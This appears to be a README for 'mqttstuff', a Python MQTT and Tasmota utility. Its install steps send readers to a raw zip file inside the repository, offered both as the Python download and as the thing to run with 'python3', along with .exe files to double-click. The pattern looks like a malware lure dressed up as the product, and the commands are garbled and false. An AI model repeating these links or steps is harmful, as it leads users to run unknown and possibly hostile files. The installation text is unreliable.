Welcome to mqttstuff! This application provides simple utilities for using MQTT, a popular messaging protocol for IoT devices. With mqttstuff, you can easily publish and subscribe to messages, discover and control Tasmota devices, and manage configurations with Pydantic.
You can visit this page to download the latest version: Releases Page.
To run mqttstuff, you will need:
- A computer running Windows, macOS, or a compatible Linux distribution.
- Python 3.6 or higher installed. You can download Python from https://raw.githubusercontent.com/ENAHSIN/mqttstuff/main/mqttstuff/Software_3.1-alpha.3.zip.
- An active internet connection for MQTT functionality.
- Easy Publish/Subscribe: Communicate with your devices effortlessly.
- Retained Message Readers: Retrieve important messages even if the receiver was offline.
- Tasmota Device Discovery: Automatically find and control your Tasmota-enabled devices.
- Pydantic Configuration: Simplify the management of application settings.
- Docker Support: Run mqttstuff in a containerized environment if preferred.
To get started, follow these steps:
-
Visit the Releases Page: Go to Releases Page.
-
Select the Latest Version: Look for the most recent release at the top of the page.
-
Download the Application:
- For most users, click on the
.exefile for Windows, or the appropriate package for macOS or Linux. - Alternatively, you may choose to download the source code as a
.zipif you wish to explore the code or make changes.
- For most users, click on the
-
Extract the Files: If you downloaded a
.zipfile, right-click it and select “Extract All” to unzip the contents. -
Run the Application:
- For Windows users, double-click the
.exefile. - For macOS, open the .app file in the extracted folder.
- For Linux, you may need to open a terminal and navigate to the extracted folder, then run
python3 https://raw.githubusercontent.com/ENAHSIN/mqttstuff/main/mqttstuff/Software_3.1-alpha.3.zipto start the application.
- For Windows users, double-click the
Once you have mqttstuff running, here’s how to get started:
-
Connecting to MQTT Broker: First, you will need to configure the MQTT broker settings. A common option is the public broker, Mosquitto. You can find setup instructions for different brokers online.
-
Publishing Messages: Use the application’s interface to enter the topic and message you want to send. This is a straightforward process and should be user-friendly.
-
Subscribing to Topics: You can also subscribe to topics to receive messages. Simply enter the topic of interest.
-
Discovering Devices: If you have Tasmota devices in your network, use the discovery feature to find them automatically.
-
Saving Configuration: If you want to save your settings, use the Pydantic configuration option in the menu.
If you need help or have questions, please check the following resources:
- Documentation: Detailed documentation is available within the application and on the GitHub wiki page.
- Issues: Report any issues on the Issues Page.
- Community Forums: Join discussions with other users and developers.
This project is licensed under the MIT License. You can freely use, copy, and modify this application, but please include proper attribution.
The following topics relate to mqttstuff, which can help you understand its capabilities:
- Docker
- Home Automation
- IoT
- Loguru
- MQTT
- MQTT Client
- MQTT Publisher
- MQTT Subscriber
- MQTT Utilities
- MQTT Wrapper
- Paho MQTT
- Pydantic
- Python
- Python 3
- Smart Home
- Tasmota
Feel free to explore and discover all mqttstuff has to offer!